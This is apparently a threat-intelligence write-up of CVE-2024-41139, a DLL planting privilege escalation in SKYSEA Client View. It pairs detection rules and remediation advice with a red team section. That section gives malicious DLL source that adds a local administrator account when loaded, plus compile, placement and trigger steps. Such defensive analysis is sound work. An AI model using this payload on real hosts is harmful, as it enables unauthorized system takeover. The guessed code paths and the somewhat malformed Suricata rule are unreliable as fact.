CVE-2024-41139

Executive Summary

CVE-2024-41139 is a high-severity privilege escalation vulnerability in SKYSEA Client View, a Japanese endpoint management solution. The flaw resides in incorrect privilege assignment (CWE-266) within the Windows client component. An authenticated local user can place a specially crafted DLL file in a specific folder, leading to arbitrary code execution with SYSTEM privileges. This is a classic DLL hijacking or planting attack vector, allowing a low-privileged user to gain full control of the host. No public exploit code or patch is currently available, but the risk is significant for organizations using the affected versions.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Windows application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires user to log in to the PC.
• Attack Complexity (AC): Low (L) – no special conditions beyond file placement.
• Privileges Required (PR): Low (L) – attacker needs user-level access.
• User Interaction (UI): None (N) – no user action needed beyond initial login.
• Scope (S): Unchanged (U) – the vulnerable component remains the same.
• Confidentiality (C): High (H) – SYSTEM access can read all data.
• Integrity (I): High (H) – SYSTEM access can modify anything.
• Availability (A): High (H) – SYSTEM access can disrupt services.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 7.8 (High)

Threat Level: High. While local access is required, the impact is total system compromise. In enterprise environments, this could be chained with other vulnerabilities or used for lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic DLL planting or incorrect privilege assignment issue. The SKYSEA Client View Windows client runs with SYSTEM privileges. When it loads a DLL from a specific folder (likely a user-writable directory or a directory where the user can place files), it does not properly validate the DLL's integrity or origin. An attacker with local user access can place a malicious DLL in that folder. When the client service loads the DLL (e.g., during startup, update, or specific operations), the malicious code executes in the context of the SYSTEM account.

Key Technical Details:

• Attack Vector: Local authenticated user.
• Privilege Escalation: From user-level to SYSTEM.
• Trigger: The SKYSEA Client View service loads a DLL from a predictable, user-writable path.
• Impact: Full system compromise, persistence, data exfiltration, lateral movement.

The vulnerability affects versions from Ver.6.010.06 to Ver.19.210.04e, indicating a long-standing issue across many releases.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code likely involves a LoadLibrary or LoadLibraryEx call without specifying a full path or without using safe DLL search order mitigation (e.g., SetDllDirectory or LOAD_LIBRARY_SEARCH_SYSTEM32).

Vulnerable Code Pattern (C++):

// Vulnerable: Loads DLL from a relative or user-writable path
HMODULE hModule = LoadLibrary(L"helper.dll");

Patched Code Pattern (Hypothetical):

// Patched: Uses absolute path and safe search order
SetDllDirectory(L"C:\\Program Files\\SKYSEA\\Client\\");
HMODULE hModule = LoadLibraryEx(L"helper.dll", NULL, LOAD_LIBRARY_SEARCH_DEFAULT_DIRS);

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local user access on a Windows host running SKYSEA Client View (affected version).
• Ability to write to the specific folder (e.g., C:\ProgramData\SKYSEA\Client\ or %TEMP%).

Steps:

1. Identify the vulnerable DLL path: Use Process Monitor (ProcMon) to filter for Load Image events from the SKYSEA client process. Look for DLLs loaded from user-writable paths.
2. Create a malicious DLL: Generate a DLL that executes a reverse shell or adds a local admin user.

   // malicious.cpp
   #include <windows.h>
   #pragma comment(lib, "ws2_32.lib")
   #pragma comment(lib, "user32.lib")
   
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           // Execute system command: add admin user
           system("net user attacker P@ssw0rd! /add");
           system("net localgroup administrators attacker /add");
       }
       return TRUE;
   }
   

3. Compile the DLL:

   x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.cpp
   

4. Place the DLL: Copy malicious.dll to the identified vulnerable folder.
5. Trigger the load: Restart the SKYSEA service or perform an action that causes the client to load the DLL (e.g., log off/log on, trigger update).
6. Verify: Check that the attacker user is now a local administrator.

Alternative Payload: Use a Meterpreter reverse shell DLL.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor DLL loading: Use Sysmon Event ID 7 (Image loaded) to detect unexpected DLLs loaded by the SKYSEA client process.
2. File integrity monitoring: Alert on new DLL files written to the SKYSEA installation directory or common user-writable paths.
3. Process auditing: Monitor for net user or net localgroup commands executed by the SKYSEA client process.
4. Hunting query (KQL):

   DeviceProcessEvents
   | where ProcessCommandLine contains "net user" or ProcessCommandLine contains "net localgroup"
   | where InitiatingProcessFileName contains "SKYSEA"
   

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_41139_DLL_Planting {
    meta:
        description = "Detects malicious DLLs targeting SKYSEA Client View privilege escalation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41139"
    strings:
        $s1 = "SKYSEA" nocase
        $s2 = "Client View" nocase
        $s3 = "LoadLibrary" nocase
        $s4 = "helper.dll" nocase
    condition:
        uint16(0) == 0x5A4D and // MZ header
        (($s1 or $s2) and ($s3 or $s4))
}

Sigma Rule

title: CVE-2024-41139 - SKYSEA Client View DLL Planting
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DLL load events from user-writable paths by SKYSEA Client View process
author: Valters IT
date: 2025-04-10
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith: '\SKYSEA_Client.exe'
        ImageLoaded|contains:
            - '\AppData\'
            - '\Temp\'
            - '\ProgramData\'
    condition: selection
falsepositives:
    - Legitimate updates or plugins
level: high

Suricata Rule (Network-based - for C2 detection)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-41139 - SKYSEA Client View Potential C2";
    flow:to_server,established;
    content:"|POST|"; http_method;
    content:"/api/"; http_uri;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict user write permissions to the SKYSEA installation directory and common user-writable paths (e.g., %TEMP%, %APPDATA%).
2. Enable AppLocker or Windows Defender Application Control (WDAC) to block unsigned DLLs from executing.
3. Monitor for Sysmon Event ID 7 (Image loaded) for the SKYSEA client process.
4. Apply the principle of least privilege – ensure users do not have local admin rights.

Long-term Fix:

• Vendor must release a patch that uses safe DLL search order (e.g., SetDllDirectory to a secure path) or digitally sign all loaded DLLs.
• Until a patch is available, consider isolating affected systems or using application virtualization.

Workaround:

• Use Process Monitor to identify the exact vulnerable DLL path and create a dummy DLL with SYSTEM-only permissions to block planting.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert